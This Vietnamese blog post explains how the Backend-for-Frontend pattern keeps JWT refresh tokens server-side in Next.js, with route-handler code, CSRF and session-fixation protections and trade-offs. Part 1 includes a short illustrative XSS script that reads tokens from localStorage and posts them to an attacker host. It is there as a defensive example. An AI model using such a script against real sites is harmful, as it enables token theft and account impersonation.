Back to blog

BFF Pattern: Bảo Mật JWT Refresh Token

securityjwtauthenticationbffbackend
BFF Pattern: Bảo Mật JWT Refresh Token

Nếu SPA của bạn lưu JWT refresh token trong localStorage, bạn đang gặp vấn đề. Bất kỳ đoạn JavaScript nào chạy trên trang của bạn — kể cả script được inject bởi tấn công XSS — đều có thể đọc nó, đánh cắp nó, và dùng nó để mạo danh người dùng của bạn vô thời hạn.

Pattern BFF (Backend for Frontend) cung cấp một giải pháp kiến trúc: chuyển việc quản lý token lên server, và trình duyệt không bao giờ chạm vào bí mật tồn tại lâu dài.

Bạn Sẽ Học Được Gì

✅ Tại sao lưu JWT token trong trình duyệt lại nguy hiểm
✅ BFF pattern là gì và cách áp dụng vào authentication
✅ Cách BFF giữ refresh token ở phía server trong HttpOnly cookie
✅ Luồng token refresh hoàn chỉnh với BFF
✅ Cách triển khai trong Next.js với Route Handlers
✅ Trade-off và khi nào pattern này phù hợp


Phần 1: Bài Toán — Token Trong Trình Duyệt

JWT Auth Thường Hoạt Động Như Thế Nào

Luồng xác thực JWT điển hình cho một Single Page Application:

  1. Người dùng đăng nhập với thông tin xác thực
  2. Auth server trả về access token (tồn tại ngắn, ví dụ 15 phút) và refresh token (tồn tại lâu, ví dụ 30 ngày)
  3. SPA lưu cả hai token — thường trong localStorage hoặc sessionStorage
  4. SPA sử dụng access token trong các API call
  5. Khi access token hết hạn, SPA dùng refresh token để lấy access token mới

Bề Mặt Tấn Công

Vấn đề nằm ở bước 2: cả hai token đều sống trong trình duyệt.

XSS (Cross-Site Scripting) là lỗ hổng web phổ biến nhất. Nếu kẻ tấn công có thể inject JavaScript vào trang của bạn — thông qua script bên thứ ba, lỗ hổng trong dependency, hoặc input người dùng chưa được sanitize — chúng có thể làm điều này:

// Script của kẻ tấn công — đánh cắp token của bạn
const refreshToken = localStorage.getItem('refresh_token')
const accessToken = localStorage.getItem('access_token')
 
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ refreshToken, accessToken }),
})

Với refresh token, kẻ tấn công có thể tạo access token mới bất cứ lúc nào. Access token hết hạn sau 15 phút — nhưng refresh token cho phép chúng truy cập liên tục trong 30 ngày.

Đây là lỗ hổng mức độ nghiêm trọng cao. Refresh token về bản chất là một mật khẩu tồn tại lâu dài.

Bạn có thể đã nghe lời khuyên: "lưu token trong HttpOnly cookie thay vì localStorage." Điều đó đúng — HttpOnly cookie không thể đọc bằng JavaScript. Nhưng nếu bạn chỉ chuyển token sang cookie mà không thay đổi kiến trúc, bạn lại tạo ra lỗ hổng CSRF thay thế.

Giải pháp đúng không chỉ là nơi lưu token — mà là ai có quyền truy cập vào nó. Nếu refresh token không bao giờ đến tay trình duyệt, nó không thể bị đánh cắp.

Đó là điều BFF cho phép bạn làm.


Phần 2: Giải Pháp BFF

Ý Tưởng Cốt Lõi

Trong mô hình BFF, Next.js server (hoặc bất kỳ server-side layer nào) đóng vai trò trung gian giữa trình duyệt và auth server:

  • Access token chỉ tồn tại trên server
  • Refresh token chỉ tồn tại trên server
  • Trình duyệt nhận session cookie (HttpOnly, Secure, SameSite=Strict) trỏ đến session phía server
  • JavaScript chạy trong trình duyệt không có quyền truy cập vào bất kỳ JWT nào

Trình duyệt không bao giờ thấy access token hay refresh token. Nó chỉ có session cookie — và HttpOnly cookie không thể đọc bằng JavaScript.

Tại Sao Điều Này An Toàn Hơn

Tấn cônglocalStorage TokenBFF + HttpOnly Session Cookie
XSSToken bị đánh cắp bởi JS được injectCookie không đọc được bằng JS — tấn công thất bại
CSRFKhông áp dụng (localStorage)Giảm thiểu với SameSite=Strict + CSRF token
Đánh cắp token qua mạngToken hiển thị trong bộ nhớ JSToken không bao giờ rời server
Truy cập liên tục sau XSSRefresh token cho 30 ngày truy cậpSession có thể bị hủy phía server ngay lập tức
Đăng xuấtClient xóa token (không đáng tin)Server hủy session — đảm bảo

BFF pattern không loại bỏ tất cả các tấn công, nhưng nó chuyển bí mật của bạn ra khỏi bề mặt mà JavaScript có thể tiếp cận.


Phần 3: Triển Khai BFF Auth Trong Next.js

Hãy xây dựng luồng auth bảo mật token với Next.js Route Handlers.

Thiết Lập: Session Store

Bạn cần nơi để lưu token phía server. Các lựa chọn:

  • Redis (khuyến nghị cho production) — nhanh, hỗ trợ TTL, scale ngang được
  • Database — đơn giản hơn, nhưng thêm overhead query mỗi request
  • Encrypted cookie — stateless, nhưng token vẫn được truyền (chỉ được mã hóa)

Trong ví dụ này, chúng ta dùng in-memory store để minh họa rõ khái niệm. Thay bằng Redis trong production.

// lib/session-store.ts
import { randomUUID } from 'crypto'
 
interface Session {
  accessToken: string
  refreshToken: string
  accessTokenExpiry: number
  userId: string
}
 
// Trong production, dùng Redis: new Redis(process.env.REDIS_URL)
const sessions = new Map<string, Session>()
 
export function createSession(data: Omit<Session, never>): string {
  const sessionId = randomUUID()
  sessions.set(sessionId, data)
  return sessionId
}
 
export function getSession(sessionId: string): Session | null {
  return sessions.get(sessionId) ?? null
}
 
export function updateSession(sessionId: string, data: Partial<Session>): void {
  const existing = sessions.get(sessionId)
  if (existing) {
    sessions.set(sessionId, { ...existing, ...data })
  }
}
 
export function deleteSession(sessionId: string): void {
  sessions.delete(sessionId)
}

Bước 1: Login Route Handler

BFF nhận thông tin xác thực, chuyển tiếp đến auth server, và lưu token được trả về phía server.

// app/api/auth/login/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { createSession } from '@/lib/session-store'
 
export async function POST(request: NextRequest) {
  const { email, password } = await request.json()
 
  // Chuyển tiếp thông tin xác thực đến auth server
  const tokenResponse = await fetch(`${process.env.AUTH_SERVER_URL}/oauth/token`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      grant_type: 'password',
      username: email,
      password,
      client_id: process.env.AUTH_CLIENT_ID,
      client_secret: process.env.AUTH_CLIENT_SECRET,
    }),
  })
 
  if (!tokenResponse.ok) {
    return NextResponse.json({ error: 'Thông tin đăng nhập không hợp lệ' }, { status: 401 })
  }
 
  const { access_token, refresh_token, expires_in, user_id } = await tokenResponse.json()
 
  // Lưu token trên server — không bao giờ gửi đến trình duyệt
  const sessionId = createSession({
    accessToken: access_token,
    refreshToken: refresh_token,
    accessTokenExpiry: Date.now() + expires_in * 1000,
    userId: user_id,
  })
 
  const response = NextResponse.json({ success: true })
 
  // Chỉ session ID được gửi đến trình duyệt, trong HttpOnly cookie
  response.cookies.set('session_id', sessionId, {
    httpOnly: true,     // Không đọc được bằng JavaScript
    secure: true,       // Chỉ HTTPS
    sameSite: 'strict', // Chặn cross-site request
    maxAge: 30 * 24 * 60 * 60, // 30 ngày (khớp với thời gian sống của refresh token)
    path: '/',
  })
 
  return response
}

Bước 2: Authenticated API Proxy

Bất kỳ API call nào từ trình duyệt đều đi qua BFF. BFF đọc session, inject access token, và xử lý token refresh một cách trong suốt.

// lib/auth-fetch.ts
import { cookies } from 'next/headers'
import { getSession, updateSession } from '@/lib/session-store'
 
export async function authenticatedFetch(
  url: string,
  options: RequestInit = {}
): Promise<Response> {
  const cookieStore = await cookies()
  const sessionId = cookieStore.get('session_id')?.value
 
  if (!sessionId) {
    throw new Error('No session')
  }
 
  let session = getSession(sessionId)
  if (!session) {
    throw new Error('Session not found')
  }
 
  // Refresh access token nếu hết hạn (với buffer 30 giây)
  if (Date.now() > session.accessTokenExpiry - 30_000) {
    const refreshed = await refreshAccessToken(session.refreshToken)
 
    updateSession(sessionId, {
      accessToken: refreshed.access_token,
      accessTokenExpiry: Date.now() + refreshed.expires_in * 1000,
    })
 
    session = getSession(sessionId)!
  }
 
  // Inject access token — trình duyệt không bao giờ thấy nó
  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${session.accessToken}`,
    },
  })
}
 
async function refreshAccessToken(refreshToken: string) {
  const response = await fetch(`${process.env.AUTH_SERVER_URL}/oauth/token`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      grant_type: 'refresh_token',
      refresh_token: refreshToken,
      client_id: process.env.AUTH_CLIENT_ID,
      client_secret: process.env.AUTH_CLIENT_SECRET,
    }),
  })
 
  if (!response.ok) {
    throw new Error('Token refresh thất bại')
  }
 
  return response.json()
}

Bước 3: BFF Data Endpoint

// app/api/user/profile/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { authenticatedFetch } from '@/lib/auth-fetch'
 
export async function GET(request: NextRequest) {
  try {
    const response = await authenticatedFetch(
      `${process.env.API_BASE_URL}/users/me`
    )
 
    if (!response.ok) {
      return NextResponse.json({ error: 'Lỗi upstream' }, { status: response.status })
    }
 
    const data = await response.json()
 
    // Định hình response cho frontend — chỉ gửi những gì cần thiết
    return NextResponse.json({
      id: data.id,
      name: data.name,
      email: data.email,
      avatarUrl: data.profile_picture_url,
    })
  } catch (error) {
    if ((error as Error).message === 'No session') {
      return NextResponse.json({ error: 'Unauthorized' }, { status: 401 })
    }
    return NextResponse.json({ error: 'Internal error' }, { status: 500 })
  }
}

Bước 4: Logout — Hủy Phiên Đảm Bảo

// app/api/auth/logout/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { cookies } from 'next/headers'
import { deleteSession } from '@/lib/session-store'
 
export async function POST(request: NextRequest) {
  const cookieStore = await cookies()
  const sessionId = cookieStore.get('session_id')?.value
 
  if (sessionId) {
    // Hủy session trên server
    deleteSession(sessionId)
  }
 
  const response = NextResponse.json({ success: true })
 
  // Xóa session cookie
  response.cookies.set('session_id', '', {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 0,
    path: '/',
  })
 
  return response
}

Đây là lợi thế bảo mật lớn so với lưu token phía client: khi người dùng đăng xuất, server hủy session. Ngay cả khi kẻ tấn công đã capture session cookie, nó lập tức trở nên vô hiệu. Với localStorage token, kẻ tấn công giữ token hoạt động cho đến khi chúng tự hết hạn.


Phần 4: Sử Dụng Từ Trình Duyệt

Trình duyệt giờ đây gọi BFF endpoint của bạn — không gọi trực tiếp auth server hay upstream API. Không cần xử lý token.

// hooks/useAuth.ts
'use client'
 
export function useAuth() {
  async function login(email: string, password: string) {
    const response = await fetch('/api/auth/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
      credentials: 'include', // Bao gồm cookie trong request
    })
 
    if (!response.ok) throw new Error('Đăng nhập thất bại')
    // Không có token nào để lưu — session cookie được trình duyệt tự động set
    return response.json()
  }
 
  async function logout() {
    await fetch('/api/auth/logout', {
      method: 'POST',
      credentials: 'include',
    })
    // Session bị hủy trên server — không cần dọn dẹp local
  }
 
  return { login, logout }
}
// Fetch data — không xử lý token trong trình duyệt
async function loadUserProfile() {
  const response = await fetch('/api/user/profile', {
    credentials: 'include',
  })
 
  if (response.status === 401) {
    // Chuyển hướng đến trang đăng nhập
    window.location.href = '/login'
    return
  }
 
  return response.json()
}

Code trình duyệt cũng đơn giản hơn: không lưu token, không theo dõi thời gian hết hạn, không có refresh logic. Tất cả đều nằm trong BFF.


Phần 5: Với Next.js Server Components

Lợi ích bảo mật mở rộng tự nhiên sang Server Components, chạy hoàn toàn trên server:

// app/dashboard/page.tsx (Server Component)
import { cookies } from 'next/headers'
import { getSession } from '@/lib/session-store'
import { authenticatedFetch } from '@/lib/auth-fetch'
import { redirect } from 'next/navigation'
 
export default async function DashboardPage() {
  const cookieStore = await cookies()
  const sessionId = cookieStore.get('session_id')?.value
 
  if (!sessionId || !getSession(sessionId)) {
    redirect('/login')
  }
 
  // Access token được dùng trực tiếp trên server — trình duyệt không liên quan
  const response = await authenticatedFetch(`${process.env.API_BASE_URL}/dashboard`)
  const data = await response.json()
 
  return <Dashboard data={data} />
}

Trong mô hình này:

  • Session cookie đi từ trình duyệt đến Next.js server
  • Next.js đọc session, lấy access token
  • Next.js gọi upstream API với access token
  • Trình duyệt nhận HTML được render — không có token nào được truyền

Access token không bao giờ rời khỏi môi trường server. Đây là mô hình nghiêm ngặt nhất có thể.


Phần 6: Cân Nhắc Bảo Mật

Bảo Vệ CSRF

HttpOnly cookie không đọc được bằng JavaScript, nhưng trình duyệt tự động gửi chúng trong cross-site request. Điều này mở ra cánh cửa cho tấn công CSRF.

Giảm thiểu bằng:

  1. SameSite=Strict — biện pháp bảo vệ quan trọng nhất. Ngăn cookie bị gửi trong cross-site request hoàn toàn.
  2. Double Submit Cookie Pattern — gửi CSRF token trong cả cookie và request header; server xác minh chúng khớp nhau.
  3. Custom Request Header — yêu cầu custom header (ví dụ X-Requested-With: XMLHttpRequest) mà cross-site request không thể set.
// Ví dụ CSRF token validation middleware
export async function validateCsrf(request: NextRequest) {
  const cookieCsrf = request.cookies.get('csrf_token')?.value
  const headerCsrf = request.headers.get('X-CSRF-Token')
 
  if (!cookieCsrf || cookieCsrf !== headerCsrf) {
    return NextResponse.json({ error: 'CSRF validation thất bại' }, { status: 403 })
  }
}

Session Fixation

Luôn tái tạo session ID sau khi đăng nhập để ngăn tấn công session fixation:

// Sau khi đăng nhập thành công, hủy session cũ và tạo mới
export async function POST(request: NextRequest) {
  const oldSessionId = request.cookies.get('session_id')?.value
  if (oldSessionId) deleteSession(oldSessionId) // Dọn dẹp session cũ
 
  const sessionId = createSession({ /* dữ liệu session mới */ })
  // ...set session cookie mới
}

Căn Chỉnh Thời Gian Sống Token

Căn chỉnh server-side session TTL với thời gian sống của refresh token. Nếu refresh token hết hạn sau 30 ngày, session cũng nên hết hạn sau 30 ngày. Dùng Redis TTL để xử lý điều này tự động.

// Session dựa trên Redis với TTL tự động
await redis.setex(`session:${sessionId}`, 30 * 24 * 60 * 60, JSON.stringify(session))

Refresh Token Rotation

Sử dụng refresh token rotation: mỗi khi refresh được thực hiện, auth server phát hành refresh token mới và vô hiệu hóa token cũ. Điều này giới hạn phạm vi thiệt hại nếu refresh token bị xâm phạm ở cấp độ server.


Phần 7: Trade-off

Ưu Điểm

  • Không có token trong trình duyệt — loại bỏ hoàn toàn lớp tấn công đánh cắp token dựa trên JS
  • Đăng xuất đảm bảo — hủy session phía server là đáng tin cậy
  • Code trình duyệt đơn giản hơn — không có logic quản lý token ở frontend
  • Refresh token tập trung — một nơi duy nhất để cập nhật khi auth logic thay đổi
  • Thu hồi session — bạn có thể hủy bất kỳ session nào bất cứ lúc nào (ví dụ: đổi mật khẩu, hoạt động đáng ngờ)

Nhược Điểm

  • State phía server — session yêu cầu store phía server (Redis), thêm hạ tầng
  • Scale ngang — session phải có thể truy cập trên tất cả các server instance (Redis xử lý điều này)
  • Latency — mỗi request cần lookup session
  • Không phù hợp cho static site thuần — yêu cầu server layer; không áp dụng cho app được phục vụ qua CDN mà không có backend

Khi Nào Nên Dùng Pattern Này

Dùng BFF token management khi:

  • Bạn có Next.js app (hoặc bất kỳ app nào có server layer)
  • Bạn xử lý dữ liệu nhạy cảm nơi đánh cắp token sẽ là thảm họa
  • Bạn cần đăng xuất đáng tin cậy (y tế, tài chính, doanh nghiệp)
  • Bạn muốn đơn giản hóa code auth ở frontend

Giữ lưu token phía client khi:

  • Bạn có static site thuần không có server layer
  • Bạn đang xây dựng app công khai mà thu hồi session không quan trọng
  • Access token của bạn cực kỳ ngắn (dưới 5 phút) và bạn chấp nhận rủi ro XSS khi refresh

Tóm Tắt

Insight cốt lõi rất đơn giản: bí mật không bao giờ đến tay trình duyệt thì không thể bị đánh cắp từ trình duyệt.

BFF pattern áp dụng vào JWT auth có nghĩa là:

  • Người dùng đăng nhập → BFF trao đổi credentials lấy token với auth server
  • Token được lưu trên server trong session store
  • Trình duyệt chỉ nhận session cookie (HttpOnly, JavaScript không truy cập được)
  • Mỗi browser request đến BFF → BFF đọc session → inject access token → gọi upstream API
  • Token refresh xảy ra trong suốt trên server — trình duyệt không biết và không quan tâm
  • Đăng xuất hủy server session — token bị vô hiệu hóa ngay lập tức

Điều này loại bỏ hoàn toàn cuộc tấn công đánh cắp token dựa trên XSS. Nó thêm hạ tầng server (session store) nhưng đơn giản hóa code frontend và cho bạn quyền kiểm soát session đáng tin cậy.

Trong Next.js app, điều này đơn giản để triển khai với Route Handlers và Server Components — server layer đã tồn tại như một phần của kiến trúc của bạn.

Đọc Thêm

📬 Đăng ký nhận bản tin

Nhận những bài viết mới nhất qua email mỗi tuần. Không spam, hủy đăng ký bất cứ lúc nào.

Chúng tôi tôn trọng quyền riêng tư của bạn. Hủy đăng ký bất cứ lúc nào.

💬 Comments

Đăng nhập để bình luận

Chúng tôi sẽ không đăng bất cứ điều gì mà không có sự cho phép của bạn.